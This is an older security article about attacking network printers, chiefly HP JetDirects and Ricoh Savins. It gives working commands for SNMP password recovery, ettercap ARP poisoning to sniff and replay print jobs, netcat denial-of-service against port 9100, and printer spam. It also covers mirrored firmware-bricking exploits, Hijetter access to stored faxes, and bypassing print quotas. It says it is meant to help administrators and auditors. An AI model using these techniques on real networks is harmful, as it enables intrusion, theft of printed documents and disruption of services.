Hacking Network Printers
(Mostly HP JetDirects, but a little info on the Ricoh Savins)
By Adrian "Irongeek" Crenshaw

       Hack a printer you say, what kind of toner have you been smoking, Irongeek? Well, I'm here to tell you, there's more that can be done with a printer to compromise network security than one might realize. In the olden days a printer may not have been much of a concern other than the threat from folks dumpster diving for hard copies of the documents that were printed from it, but many modern printers come network aware with embedded Operating Systems, storage and full IP stacks. This article will attempt to point out some of the more interesting things that can be done with a network based printer to make it reveal information about its users, owners and the network it's part of.

        Some of this article may seem a little Black-hat as it concentrates more on the breaking-in than the keeping-out. However I feel this information will be useful to system administrators and auditors so that they know what sorts of things to look out for when it comes to network printers. If you want more advice on how to lock down your network printer visit your vendors web site. A guide from HP is linked at the bottom of this article for your convenience. If nothing else, this article may get you thinking in the right direction.

        For my tests I will mostly be using a Hewlett-Packard LaserJet 4100 MFP (Fax/Printer/Copier/Scanner), an HP JetDirect 170x and a HP JetDirect 300X (J3263A) but I will also touch a bit on the Ricoh Savin series of printers lest you think HPs are the only network printers with security problems.

        Much of this article will read like a huge brain dump, sort of disorganized and hazy like my mind. It all started as a project for Droop's Infonomicon TV and it snowballed from there with no specific direction. Bear with me as I clean it up and other folks send me new additions and suggestions to make this article more useful.

        The most recent version of this article can be found at: http://www.irongeek.com/i.php?page=security/networkprinterhacking

Table of Contents:

Intro to the concepts

        There are several TLAs (Three letter acronyms) I will be using though out this article so I best get them out of the way now. PCL stands for Printer Control Language, which was developed by HP and has become one of the most common printer protocols. Another page description language you should be aware of is PostScript (PS) which was designed by Adobe to allow for more complicated things to be printed from a plotter/printer. PJL (Printer Job Language) is an extension of PCL that can tell a printer what to do, from changing device settings to transferring files. There are also three major network printing protocols you should be aware of. Here's a table with some of the pertinent information about each protocol:

        Since my focus is on JetDirects I will mostly be talking about and using AppSocket/PDL-datastream, but since many JetDirects can also work with IPP and LPD, and many non HP made network printers also use AppSocket, you should be aware of the existence of all three. There's are also network printers that use the IPX, Appletalk and SMB (some Savins for example) protocols to communicate. I'll not cover IPX and Appletalk because of my lack of experience with them, maybe someone else who reads this page will submit some info on them for me to post (credit will be given). SMB I may try to cover at a later time. Now that the formalities are out of the way, lets start playing with printers.
 

Diagnostics page

        The pictures above are of a external JetDirect 170x box. Notice the picture on the right; on the far right hand side you will notice a little button labeled "test". Pressing this button on most JetDirect boxes will print out a diagnostic page listing statistics and the IP setting for the JetDirect box. If your printer has an internal JetDirect card you will have to negotiate the menus to find out how to print this diagnostics page. Once you hit the test button the printer should print out a page or two that lists information like host name, MAC address,  IP Address, subnet mask, default gateway, firmware revision and some general statistics. The IP/host name will be especially  useful if you want to bypass print quota software by setting up direct IP printing on your Windows or Linux box. If you don't have physical access to the JetDirect box you can still find its IP or host name by seeing what its port is listed as if that network printer has been setup on a Windows box you have access to.

        As you can see by the graphic on the left, the host name for this JetDirect box is npib1002c. Sometimes you will see a port listed as something like IP_192.168.1.102, where obviously 192.168.1.102 is the JetDirect's IP. You can pretty much use a host name or an IP interchangeably on your LAN, and if the host name has a fully qualified domain name you should be able to address it from the Internet as well.

        If you don't have access to a JetDirect box, or if your PC is not connected to one, don't despair. In next few sections I will describe how to find these printers on the LAN/Internet using Nmap and JetAdmin.

Stupid Printer Tricks

    I called this section Stupid Printer Tricks because while these activities aren't very technical, they do illustrate the simplicity of the RAW/AppSock protocol that listens on port 9100/tcp on JetDirects and most other network printers. Try this, find your printers IP using the Diagnostics page then web surf to:

   http://your-printers-ip:9100

The ":9100" at the end is there to tell your browser to connect on port 9100/tcp. When you try to establish the connection you should notice that the browser does not go anywhere, this is because what's running on port 9100/tcp is not a web server. Click the stop button on your browser to tell it to stop trying to connect then go take a look at the printer. Depending on what browser you use you should see a print out something like one of the following:

        You see, anything that the printer sees coming in on port 9100/tcp it tries to read as a print job. The two texts you see above are HTTP get requests for the root document of the server. The network printer does not understand this and just tries to print the request out as text. Another thing you can try is telneting to port 9100 (we will assume your printer's IP is 192.168.1.2), typing in some text, and seeing it print:

        You should now see a print out that just has the words "hello printer" on it. The "^]" represents the pressing of the Control key and the ] bracket at the same time. The above example was done in *nix, but the same commands should work in Windows. Keep in mind you may not see all of what you type in (the parts in red) unless you have local echo turned on (which seems to be off by default in Windows).

        There are exceptions to network printers just printing out everything sent to port 9100. This trick, for which there will be more details given later, should change LCD display to say what you want. It's not supported on all printers, but If you have an HP it should work. I've got to thank Dipswitch for pointing out that you don't need fancy tools or code to do it (but the tools do make it easier).

With Telnet:

JetDirect password notes

        Most of the time folks never even turn the JetDirect's password options on, but if they do they quickly find that they don't always work in logical ways.

If you are using a newer JetDirect box like one of the following:

680N (J6058A)
615N (J6057A)
610N (J4169A, J4167A)
380X (J6061A)
310X (J6038A,250M (J6042A)
75X(J6035A

or an HP printer with and internal JetDirect card like:

HP LaserJet 4100 series
HP LaserJet 8150 series
HP LaserJet 9000 series
HP Color LaserJet 4550 series
HP Color LaserJet 4600
HP Designjet 5000 series or HP Business Inkjet 2600

then the telnet and device password used by the Web interface and JetAdmin software are the same. If you telnet in you will be prompted for a user name and password. The user names "root", "admin", "administrator" and "supervisor" are all valid and equivalent.

        If you are using an older JetDirect box like one of the following:

600N (J3110A, J3111A, J3112A, J3113A)
400N (J4100A, J4105A, J4106A)
300X
500X
170X(J3296A, J4101B, J3263A, J3264A, 3265A, J4102B, J3258B)

then things are more confusing. First, if you telnet in you will only be prompted for a password; no user name is asked for. If you setup a password for the telnet service it may not be the same password for the web interface, and vice versa. In other words there are two passwords on at least some JetDirect boxes, one for telneting into it and one for the web interface/JetAdmin software. Telnet password are case sensitive but Web/JetAdmin passwords are not. Telnet passwords are limited to 16 characters,  Web/JetAdmin passwords to 12. Just so you know, Hijetter (discussed later) may report the password as disabled even if both passwords are set, but that's ok since it bypasses passwords anyway.

        The Web interface and JetAdmin use SNMP (Simple Network Management Protocol) to control the JetDirect boxes and require that you know the password, but I've read that other third party SNMP configuration utilities will just ignore the password altogether and can connect and control the JetDirect anyway. It might be a good idea for some to change their SNMP community names to something other than the default public/private, but even if they do they could still be sniffed off of the wire unless they have a more recent JetDirect that supports SNMPv3 and SSL/TLS.

        If you use the JetAdmin for Window 2000 desktop software be aware that it automatically stores passwords in the registry once you use it. For example, if the MAC address of a JetDirect box was 001083A2C913 then JetAdmin would store the password  "password" in  User\Software\Hewlett-Packard\HP JetAdmin\DeviceOptions\001083A2C913 in a value called "Access" as "50 00 41 00 53 00 53 00 57 00 4f 00 52 00 44,00,00,00". In case you don't notice it, this HEX string is the password "password" converted to all uppercase, with each letter turned to it's HEX equivalent, with a null character between each password character, and then null padded.  

        Brute forcing these passwords might be an option since logging on many network printers isn't all that involved. As you already know telnet is unencrypted so sniffing those passwords is trivial. As I found by sniffing with Ethereal, the web interface on older Jetdirects (really a Java applet) and JetAdmin use SNMP to configure the JetDirect  box and also pass their password as plain text. Look for the password just before the string "=108" in the dumps. Some newer Jetdirects don't do this, and can use SSL to encrypt the connection.

        If you set a password on a JetDirect box while you are playing around with it and forget what it is, all you have to do is a hard reset. Unplug the power cord, hold down the test/status button, and while still holding the button plug the power back in. The password and all of the other settings should now be cleared.

Getting a JetDirect password remotely using the SNMP vulnerability

        I was cruising around SecurityFocus.com looking for JetDirect exploits and I came across a dooze:

            http://www.securityfocus.com/bid/7001/exploit

        Since the link above is rather shy on details I'll show you the exploit step by step. It seems that the device password for many JetDirects is stored in almost plain text and is accessible via SNMP using the read community name. Most folks leave their SNMP community name as "public" but even it has been change it's likely sniffable. Also try "internal" as the community name as this is the default write community name on many JetDirects. Reports are that on some JetDirects , even if you change the community name, "internal" will still work. With the Net-SNMP toolset the password is easy to recover:

        Notice the hex string. In Hex 50=P,41=A,53=S,53=S,57=W,4F=0,52=R,44=D,3D==,31=1,30=0,38=8,3B=;
In other words, "PASSWORD=108;" which means the password is "PASSWORD". I also tried it after changing the password to newpassword, and likewise "50 41 53 53 57 4F 52 44 3D 31 30 38 3B" is "NEWPASSWORD=108;".  Anything before the "=108;" is the password. For those too lazy to do the HEX to ASCII conversion themselves check out:

    http://nickciske.com/tools/hex.php

Also note that I entered my passwords in lowercase, but they were stored in uppercase. These passwords are case insensitive. Some of the vulnerable JetDirects are:

HP JetDirect J3263A
HP JetDirect J3113A
HP JetDirect J3111A

        Other JetDirects may also be v\erle, so it's worth testing. I tried it with my Hewlett Packard HP JetDirect 300X (J3263A) and installing the latest firmware (H.08.49) seems to fix this problem but I imagine there are still a lot of un-patched JetDirects out there. Some print servers like the HP J3258A JetDirect 170X do not have user upgradeable firmware at all so you are stuck with the firmware they were shipped with. The only way to fix the vulnerability on them is to by a new JetDirect.

Controlling the JetDirect box with telnet/web browser
 

        Most JetDirect boxes can be configured with a web browser or via a telnet session. Below you will see a screen show of the web base configuration tool. Just type the IP or host name of the JetDirect box into the address bar of your favorite Java enable web browser and it should work.

        Here is an example of connecting to a JetDirect box with a telnet session, bringing up the help screen and resetting the host name:

Controlling and finding JetDirect boxes with JetAdmin

        A nice tool Hewlett-Packard puts out for controlling JetDirect boxes is JetAdmin. Currently HP only offers a web version of the software, called appropriately enough Web JetAdmin, with versions for both Windows and Linux. Unfortunately you have to register on HP's site to get it, but you can download it without registering from this mirror site:

        http://www.svrops.com/svrops/dwnldprog.htm

        Personally I prefer the older HP JetAdmin for Window 2000 (v3.42, the last version to be released before it was discontinued but still works fine with XP) as it seems quicker and less bloated; however it may be missing some of the features of the newer Web JetAdmin. You can download the desktop version from:

        http://www.helpdesk.umd.edu/os/windows_nt/printing/674/

        JetAdmin is very fast at finding JetDirect boxes on your subnet since it does an SNMP broadcast to the network to locate them. Just right click and choose "Properties" to find more information about the JetDirect box, or choose "Modify" to bring up a wizard that lets you change the description, IP settings and other variables associated with the printer.

        JetAdmin can also generate reports about the network printers it finds. JetAdmin can do too many things for me to describe them all in details here so go download it and try it out.

         As a side note, if you want to find boxes on a network running Web JetAdmin ,do a ports scan for 8000/tcp (HTTP) and 8443/tcp (HTTPS); if it's password is weak or non-existent it's an easy way to control a network's printers. If you are interested in a JetAdmin like tool for the Ricoh Savin printers look into SmartDeviceMonitor.

Finding Network printers using Nmap and SNMP tools

        Using Nmap from your Linux (preferable) or Windows box makes finding JetDirects and other network printers pretty easy. The Nmap commands I will be showing in this section are very simple and not very stealthy so you may want to consult the Nmap MAN page or a good Nmap tutorial for more ideas. You could use a simple Nmap command like:

        nmap -A 192.168.1.*

to scan the range 192.168.1.1-255 for common ports and do an OS and version detect on the systems it finds. The output of the above command would look something like the following:

        There's one problem with the simple command shown above. If you are using a version of Nmap before 3.90 on some network printers it will create garbage print jobs with text like:

GET / HTTP/1.0
OPTIONS / HTTP/1.0
OPTIONS / RTSP/1.0

on each of the sheets printed, wasting a lot of paper.  This happens because as Nmap scans for version detection on port 9100/tcp it sends some of the probe requests from the nmap-service-probes file to figure out what service is running on port 9100/tcp. Since the JetDirect box does not understand what it's being sent it just prints out the probes and you wind up with a bunch of garbage printed out. The easiest way to fix this is to upgrade to Nmap 3.90 or better, but barring that, there is a workaround. A better and faster solution might be to only probe for common network printer ports other than 9100 (Note: You may want to leave off -T insane for stealth/bandwidth reasons):

nmap -A -p 21,23,80,280,515,631 192.168.1.* -T insane

or maybe not use the -A (which is like doing a -sV -sO together) option at all and just use -sO to detect the OS that's running, but not send probes to the ports to find out the service versions are running.

        While we are at it, it might be interesting to run a UDP scan on the JetDirect box as well.

        As you can see we found quite a few ports to look into. I'll go over some of the things you can do with them in a bit. By the way, you may notice the NMB port 137/udb is open, which means you may be able to find printers on the LAN via the NetBIOS name service.

        By the way, to find Ricoh Savins on the network you could use an Nmap command something like the following:

        Notice that the Ricoh Savins have a lot of the same ports open as the HP JetDirects, but that the the OS is detected as NetBSD (it will even run on your toaster).

    Since many network printers respond to SNMP another great way to find them is to use an SNMP service scanning tool. Ricoh puts out a good tool for finding and configuring many network printers called SmartDeviceMonitor. SmartDeviceMonitor seems to miss some network printers that aren't Savins, but if you use Richo Savin Aficio printers on your network its a great tool for locating and polling them.

http://www.ricoh-usa.com/products/product_features.asp?pCategoryId=
19&pSubCategoryId=46&pCatName=Solutions&pSubCatName=
Device%20Management&pProductId=67&pProductName=SmartDeviceMonitor&tsn=Ricoh-USA

        Foundstone's SNScan in another good choice:

        http://www.foundstone.com/resources/proddesc/snscan.htm

or Softperfect's NetScan if you turn on the SNMP search options:

        http://www.softperfect.com/products/networkscanner/

        Another third way you could find network printers (if you are on the same subnet) is to use Nmap or Cain to do an ARP sweep and look for and boxes with a  MAC address belonging to Hewlett Packard, Ricoh or another printer vendor. These are likely network printers.

Finding Printers with Google

        Sometimes for convenience admins will put links to there printers' web interfaces on an Intranet site so they can easily admin them or pull off stored documents. Well, sometimes an Intranet is not really just an Intranet but accessible via the Internet. Google is a great way to find these printers. Here are a few search strings that may be of interest:

Ricoh Savins (Since these printer frequently store documents where to can be downloaded this can be a real killer for security)

    intitle:"web image monitor"
    "/web/user/en/websys/webArch/mainFrame.cgi"
    inurl:"/en/sts_index.cgi"

HP Jetdirects (Varies greatly from model to model)

    inurl:hp/device/this.LCDispatcher        

CUPS Connected Printers

    inurl:":631/printers" -php -demo   

        Try combining the above with the Google "site:" parameter to restrict the search to just certain organizations. For more information on Google Hacking visit http://johnny.ihackstuff.com and search their database of useful Google search strings for "Printers". I obtained some of the above search strings from Johnny's site.

Finding info about the printer using SNMP tools

        Using the tools from http://net-snmp.sourceforge.net on a Linux box can yield a great deal of information about a network, assuming no firewalls are blocking the SNMP port (161/udp). The greatly truncated output below should give you some idea as to the kind of information you can get using snmpwalk, including other hosts on the same network, their IPs and MAC addresses and the features of the printer along with it's firmware revision. If you are using a Debian based distribution on Linux try the "apt-get install snmp" command to get these tools.

        The above command works well on Jetdirects, Richo Savins and other common network printers that support SNMP. If you don't know the proper SNMP community name a quick sniff of the network with Ettercap or Dsniff should revel it to you iif the admin is using using SNMP version 1 or 2. Most times the community name will just be the default "public".

Using a JetDirect box as an Nmap Idlescan Zombie

        While I'm on the topic of Nmap and JetDirect boxes, they make great bouncers for stealth Idle scans (also know as Zombie scans) since their IPIDs are incremental. Basically what happen is the Nmap scan is bounced off of the JetDirect box and any logs on the target will show the IP of the JetDirect box as being the attacker. There are a few problems with these kinds of scans, the biggest being that they are VERY slow. For more details on  Idle scans  see the following URL:

http://www.insecure.org/nmap/idlescan.html

and the Nmap MAN page:

-sI <zombie host[:probeport]>
Idlescan: This advanced scan method allows for a truly blind TCP port scan of
the target (meaning no packets are sent to the target from your real IP
address). Instead, a unique side-channel attack exploits predictable "IP frag-
mentation ID" sequence generation on the zombie host to glean information about
the open ports on the target. IDS systems will display the scan as coming from
the zombie machine you specify (which must be up and meet certain criteria). I
wrote an informal paper about this technique at http://www.inse-
cure.org/nmap/idlescan.html .

Besides being extraordinarily stealthy (due to its blind nature), this scan
type permits mapping out IP-based trust relationships between machines. The
port listing shows open ports from the perspective of the zombie host. So you
can try scanning a target using various zombies that you think might be trusted
(via router/packet filter rules). Obviously this is crucial information when
prioritizing attack targets. Otherwise, you penetration testers might have to
expend considerable resources "owning" an intermediate system, only to find out
that its IP isn't even trusted by the target host/network you are ultimately
after.

You can add a colon followed by a port number if you wish to probe a particular
port on the zombie host for IPID changes. Otherwise Nmap will use the port it
uses by default for "tcp pings".

        Here is an example of Nmap being run using a JetDirect box as a bouncer. I've used the -P0 option so that the host running Nmap does not ping the target first, lessening the stealth value by giving away the scanners true IP.

        Now, if 192.168.1.5 looks at its logs it will appear that 192.168.1.93 (the JetDirect box) was doing the scan. Sneaky!

Setting up a direct IP printer in Windows and Linux

        Setting up a direct IP printer can be useful from time to time; here are a few reasons why you might want to set up one up:

1. Your main print server is unreliable.
2. Sometimes cutting out the middle man make a print job work when normally it would not. Some PDFs used to give me fits when I used a Window 2000 server to host print shares, but printing directly to the IP printer worked like a charm. 
3. To bypass access rights to a printer or to get around print tracking software like Pharos Uniprint or Equitrac.

        Rather then waste space on how to set up direct IP printing in Windows I'll point you to Microsoft's howto:

http://www.microsoft.com/technet/prodtechnol/windowsserver2003/
library/ServerHelp/25468cbe-faab-424c-aae5-ddd333436c0d.mspx

and HP's:

http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=bpj06391

        If you wish to script the installation in Windows check out:

https://engineering.purdue.edu/ECN/Resources/KnowledgeBase/Docs/20040216090320

        For you Linux users it's pretty easy to set up a direct IP printer too. Make sure you have CUPS (Common Unix Printing System) installed (for us Debian folks: apt-get install cupsys). Most Linux distributions have a GUI setup wizard now, but you can also add a direct IP printer from the shell by using a command like the following:

            foomatic-configure -s cups -n My-Remote-JetDirect -c socket://192.168.1.2:9100/

        Of course, you will want to change the IP and maybe the name to reflect your network and printer setup. If for some reason

http://192.168.4.2:631/printer

http://192.168.4.2:631/ipp

Spamming Printers

         I'm rather surprised with the amount of E-mail, Net Message and Fax spam that know one seems to have tried Printer Spam. First, the attacker would need to have something to iterate though printers. I wrote a quick tool for Linux and Windows call IPIterator that does just this:

http://www.irongeek.com/i.php?page=security/ipiterator

    The following example assumes that port 9100/tcp is open past the firewall (don't laugh, I've seen it), but with some motification I'm pretty sure it could be made to work with IPP and FTP enabled printers too. All one has to do is generate a PostScript or PCL file with the content they want to send it the spam message. The Windows "Printer to File" option works well for this. In a pinch a plain old text file will also work. Then they can use Netcat and IPIterator to send the print job to a whole IP range of printers.

Evil I know, maybe I should not have mentioned it as now it may become more common. This facility might also be legitimately useful for sending out mass messages on a network where your work.

Side note on a Pharos Uniprint vulnerability

        While this is not directly related to the article's main topic I thought that some of you would be interested in knowing about a vulnerability with the Pharos Uniprint system. It looks like Pharos Uniprint saves the last print jobs sent to a printer into C:\Program Files\Pharos\Temp\PORT*.PRN as a simple PCL print job which is readable by everyone on the Windows box by default. With a quick NetCat command (seen later in this article in the sniffing and replay section) or an FTP of the file to a JetDirect box it's easy to see what others have been printing out on that Windows workstation.  Not very secure huh?  It seems that Pharos did fix this in later versions, as Edward Burhenn stated in his email to me:

DoSing the network or the printer

        As should be obvious by now for those that have been paying attention, it's pretty trivial to cause a DoS (Denial of Service) attack with a JetDirect box that's not password protected. A deviant user could just use the telnet or web interface to set the IP of the JetDirect to the same IP as the gateway -  instant routing confusion. Another option for network mayhem would be to set the host name of the JetDirect box to that of another box on the network. This would mess a few things up if the facility uses dynamic DNS for host names. Also notice form the UDP port scan show earlier that the JetDirect box is running the NetBIOS naming service, so changing the host name on a Windows network could cause name resolution problems.

        As for DoSing the printer, if someone wanted to be a dick they could just hop onto their *nix box and cat their hard drive to the printer, causing a print job the size of the local hard drive:

        cat /dev/hda|netcat -q 0 192.168.1.2 9100

Much the same thing could be accomplished by FTPing your swap file to a JetDirect box that accepts FTP print jobs.       

        Another thing that could be done is to upload a corrupted firmware to the JetDirect box. This can be done by obtaining the HP Download Manager from:

        http://www.hp.com/go/dlm_sw

and then attempting an upgrade of the firmware, but stopping the process halfway though. The JetDirect will be non responsive until a full firmware is uploaded again. An interesting side note, you can upgrade the firmware on a JetDirect even if you don't know the JetDirect's system password. Why HP did not require a password for a firmware update I have no idea;  it just seems like common sense that they would. From reading Slobotron's article (linked at the bottom) it would seem you can also upgrade the firmware with Netcat.

    On a lark I decided to test out the effects of connect to port 9100/tcp and holding the connection using the Telnet command. I tested it on a Ricoh Savin Aficio 2045e and a JetDirect 300x  (J3263A) and the result was that the connection to port 9100/tcp seems to be single threaded. While I held the Telnet connection to port 9100 no other print jobs could be sent to the printer! The connection should timeout after awhile. Imagine if someone used an active connection on the LAN and a command like:

        ./ipiterator 192.168.1.*,25,"telnet ~ip 9100"

to knock out printing to a whole LAN! See the section above for more info on IPIterator.

        Because of the relatively weak IP stacks in most network printers there are a lot of other little Denial of Service exploits. I recommend checking out http://www.securityfocus.com/bid/ for more DoS attacks. One of the more interesting attacks to be found recently (12/19/2006)comes form researcher Joxean Koret. I've got to thank the Pauldotcom pod cast (episode 55) for pointing it out to me.  It seems that Mr. Koret found a flaw in some HP Jetdirect's that permanently bricks the printer server to the point it has to be sent back to HP to be fixed. For those that don't understand the term "brick" it means that the device has be made inoperatable because of a bad firmware or an electrical problem. This is a serious flaw since it effectively turns the JetDirect into a paperweight. In Joxean Koret's words:

        It is not yet know which JetDirect print servers are effected by this exploit as few people want to take the chance of destroying their own. I've mirrored his two proof of concept scripts if anyone would like to test them and let me know which JetDirects it works on:
    jd-dos2.4.5.py
    jd-dos2.4.py

        MITRE lists this bug as CVE-2006-6742. The buffer overflow in the LIST an NLST commands seem to overwrite part of the firmware so my best guess is that cheaper print servers without flash memory like the 170x are probably safe. From what I'm hearing HP is not taking this threat as seriously as they should given that someone could cripple printing for days at a corporation using this exploit and a tool like IPIterator. The only know fix as of yet is a preventative one, and that is to turn off the JetDirect's FTP service or to block port 21/TCP at the border of the network the print server is on. If anyone has more information on this flaw please email me. See: http://www.security.nnov.ru/Gnews955.html for more info on this vulnerability.

        By the way, don't be the kind of person that would use one of the above techniques, I only mention them so that admins know what they need to guard against.

Update 01/20/2007: Looks like HP may have fixed this issue with a newer firmware:

http://www.securitytracker.com/alerts/2007/Jan/1017532.html

Still, if anyone has more information please email me.

Changing the LCD display text using HPhack, IGhphack or Hijetter

         This is an old hack (1997) and does not accomplish much, but it is fun! Silicosis of L0pht (sili@l0pht.com) wrote the original exploit code for *nix  systems and someone else ported it to NT/2000/XP based systems. Although it's been out there for a long time, it still works on every HP printer/JetDirect box I have seen. What the HP display hack allows you to do is set the text that displays on the little LCD panel of an HP printer. It accomplishes this over the network by sending packets to a JetDirect box hooked to the printer (or built into it).

        The first thing you need to do is find out the IP or hostname of the JetDirect box that services the printer. You can do this in one of at least three ways. The first way is by hitting the little test button on the JetDirect box that's connected to the printer. If the JetDirect card is built in you may have to go through the menus and choose "Print Configuration". Another way is to go into your "Printers and Faxs" settings, right click and bring up the properties of the printer in question, and look under the Ports tab for the hostname (npi******). Once you have this information it's easy to run Silicosis ' little hack.

        To run it from Windows just use the following syntax: hpnt Hostname Message
Windows Example:

        If you want to run it from Linux download the source code at the bottom of this section and compile it using gcc. The syntax is the same as the Windows version. Below is an example of how to compile and run it:

        A few ideas for messages: "Hey Baby", "X was Here", "I see You", "Redrum", "Kill". Enjoy. If you like you can download Silicosis hack from one of these links:

Unix Source

Windows Source

Windows Binary

        I'm working on my own GUI version with extra features; its web page can be found here:

            http://www.irongeek.com/i.php?page=security/jetdirecthack

        The easiest tool to use may be Hijetter by FtR of Phenoelit, which is covered in the next section.

Phenoelit's Hijetter and PFT 

        Hijetter seems to be the Swiss army knife of HP JetDirect hacking. It can control a JetDirect box with PJL commands, and works even if a password is set (at least on my HP JetDirect 300X).You can download the binary and the source code for this app from:

        http://www.phenoelit.de/hp/download.html

        Below is a screen show of Hijetter 's interface.  To use Hijetter just type in the IP or host name of your JetDirect box and click the connect icon.

        You should notice that a few of the icons at the bottom of the interface light up.

        You can only use the icons that are lit up. The first icon, from left to right, lets you control the file system on the JetDirect (if it has one), the next icon lets you make changes to the settings and the last icon lets you set the text that displace on the LCD screen. I'll cover these tasks in reverse order since I'm contrary like that.

Setting the LCD Display with Hijetter

1. After you have connected to the JetDirect box click the LCD Display icon.

2. Type in the message you want the printers LCD to display.

3. If you check the "Failure" radio button the printer will stop printing until someone hits the ok/continue/online button on the printer, or it's reset.

4. Click the confirm button and your message should now appear on the printers LCD.

Changing settings with Hijetter

1. After you have connected to the JetDirect box click the settings icon.

2. Find the environmental variable you want to change and type in the value you want to set it to, keeping in mind the limitations listed in the "Info" panel.

3. Use the assign button to set your change. An M should appear next to the variable you changed. 

4. Click the confirm button and you're done.

Using Hijetter to treat some JetDirect boxes as files/web servers

1. After you have connected to the JetDirect box click the File System icon.

2. Use the arrows to transfer files to and from your client to the JetDirect box. Keep in mind that you can only transfer one file at a time with Hijetter.

3. The New Folder and Delete icons can be used for their obvious functions.

4. Click the confirm button and you're done.

Finding stored faxes and print jobs on Jetdirect printers

        Look around the file system and download any files that looks interesting. Most of them don't have obvious file extensions so open them up in a text editor and look at the headers to try and figure out what they are. Here are a few of the things I've found by searching around this way:

         Also notice that the Hewlett-Packard LaserJet 4100 MFP we connected to has a 20Gig hard drive, which makes for a great place to hide and serve large files. I've noticed on the MFP a file can be uploaded to:

        /webserver/home/

and can be accessed from the printers web interface at:

        http://192.168.1.4/hp/device/

        For example, if you used Hijetter to upload "naughtylinuxgirls.avi" to "/webserver/home/" it can be accessed from the web with the URL:

        http://192.168.1.4/hp/device/naughtylinuxgirls.avi

        Feel free to put your homepage on a printer. :)

        If you're a *nix or Window command line boy, don't despair. The same folks from Phenoelit have provided PFT, a command line utility that can do many of the same things as Hijetter. It can be downloaded and installed with these commands:

        Here is an example of what it looks like on the command line after you bring up the help page; look at all of the options:
 

PFT also has some limited scripting ability by piping in commands from a text file as this example shows:

        Since Phenoelit  provides the source code it could be an interesting project to write new automated tools for extracting information from remote JetDirect boxes.

Using IP ACLs to restrict access

        One of the few way that HP gives you to lock down a printer is IP ACLs (Access Control Lists). Other network printer manufactures offer similar functionality. While the syntax may differ a little form JetDirect to JetDirect the basics are the same. On newer JetDirects you can use the web interface to restrict what IPs can connect to the printer (normally you just want the CUPS or Windows print server to connect) but on most all of them you can use the Telnet interface to restrict what IPs can connect. This log should give you an idea of how the "acl allow: ip" command is used:
 

Don't forget to look for Stored Documents via the web interface

        I'm mostly putting this here because of the Ricoh Savins I've played with, but it's good advice for HP printers too.  Look for Stored Documents via the web interface on the printers you find; many times users will save print jobs and faxes where the can be accessed from the web without even realizing it. I've found quite a few things this way in the past while performing audits.

Coding your own scripts with PHP, Perl and PJL

        I thought some of you might be interested in writing you own scripts to change the printer display, or other tasks evolving PJL. First, read some of the PJL references linked in the reference section, then play around with telneting in an issuing the PJL commands directly. You will notice that there are quite a few that can be used to query the status of the printer:

I decided to use Perl for my examples since its easy to use, multiplatform and pretty easy to do Sockets with. Most *nix systems should have Perl already, if you use Windows download and install Activestate's ActivePerl from here:

        http://www.activestate.com/Products/ActivePerl/

        This script just sends a simple line of text to the printer directly:

        This one does a countdown on the LCD screen, then ends with a bang:


I know some of you want the script that lets you make a printer web cam like the one I had up for a short while. You can download the PHP source code here:

        http://irongeek.com/downloads/printeraction.7z

If you write any interesting scripts send them to me and I'll post them with your credits. Happy scripting!
 

Fixing a busted hard drive with Ghost

        Matthew Hinton (info [at] fireshadow.net) sent me some details on fixing a broken hard drive in an HP 4100 MFP with Ghost, could be useful to quite a few of you in your printer is out of warranty:

Sniffing print jobs and replaying them

        How often do folk print things and think as long as no one gets hold of the hard copy there's no security risk? As it turns out, sniffing print jobs is pretty easy if you can get on the same LAN segment as the printer or print server. Since the print jobs are not encrypted sniffing and reprinting them to your own printer is comparatively a breeze if you know how. This example shows how to sniff between a Windows 2003 base print server and a JetDirect or Ricoh Savin based network printer that uses AppSocket (port 9100/tcp) for communications, but the principles should apply to other setups as well.

1. First we have to pull off a MitM (Man in the Middle) attack by ARP poisoning the JetDirect box and the Windows print server and saving the packets to a Pcap file. I'll use Ettercap on a Linux box to do this, but other apps may work as well. To pull it off I will use the following Ettercap command:

         ettercap -T -q -w print.dump -M ARP /192.168.1.2/ //

where 192.168.1.2 is the IP of my network printer. Note that this will cover all of your bases, but can cause one hell of an ARP storm since Ettercap has to ARP poison every host on the subnet. In some cases it might be better (and faster) to just ARP poison between two host you know the traffic will be going though. Here is an example:

        ettercap -T -q -w print.dump -M ARP /192.168.1.2/ /192.168.22.47/

where 192.168.1.2 is the IP of the network printer and 192.168.22.47 is the ip of the Window/*nix print server or PC sending the print job. Hit the "q" key at any time to stop the ARP poisoning and sniffing.       

2. Now that we have our Pcap (also sometimes called a libpcap or tcpdump file) we have to open it up in Ethereal. Just use the File->Open menu and point it to the print.dump file made by Ettercap. 

3. Once print.dump has been opened in Ethereal we need to filter it. Enter the following filter and hit Apply:

        tcp.flags.syn == 1 && tcp.dstport == 9100
 

 4. As you see from the screen shot above the filter got rid of a lot of the extraneous data. These four packets represent two print jobs, or at least the beginnings of them. Packets number 158 and 159 are part of the same print job. Packets number 510 and 511 are part the 2nd print job. What we want to do now is right click every other packet, starting with the first, and choose "Follow TCP Stream".

5. Once you have chosen "Follow TCP Stream" you should see a window something like the one above. Set the drop down box to only show the traffic destined to the network printer as shown above. Set the data type to RAW and then click the "Save As" button and call the output file something like "test1.job".

6. Repeat steps 4 and 5 for every other packet to get all of the print jobs captured.

7. At this point we could open up test "test1.job" in a text editor, and if it's a PostScript file, remove every line before:

        %!PS-Adobe-3.0

and after:

        %%EOF

to create a .PS file (PostScript) that could be opened up in GhostView on a *nix box. You might be able to do something similar with a PCL based print job, but I have not figured out what parts to remove yet. As it stands we can leave "test1.job" as it is, whether it's PCL or PostScript, and send it to the printer by replaying it with NetCat to a network printer we control. The command is quite simple:

        cat test1.job|netcat -q 0 192.168.1.2 9100

where "test1.job" is the sniffed print job we want to replay and 192.168.1.2 is a network printer that we control. If the Netcat command seems too complex you could also just use an FTP client and FTP the captured print jobs to a JetDirect enabled printer (assuming FTP is enabled on the JetDirect box).

        All this seems a bit complicated I know, so I'm thinking of asking the Cain team to add this functionality to their app to make it easier.

A note on Plain-text authentication protocols

        Many of the above attacks are only possible because people don't enable passwords on their network printers. However, even if passwords are enabled they could still be sniffed pretty easily since most network printers use simple telnet or a web interface with out SSL to configure the system. Both telnet and http (with out SSL) passwords can easily be sniffed with packages like Ettercap, Cain or Dsniff. Some newer network printers, such as the HP Jetdirect en3700 (J7942A), can use SSL with their web interface (albeit with a self signed certificate) and the interface seems to be more that just a Java applet for using SNMP to control the Jetdirect. This is a much more secure option than the older Jetdirects that used unencrypted HTTP and SNMP v1/v2.

Other Ideas

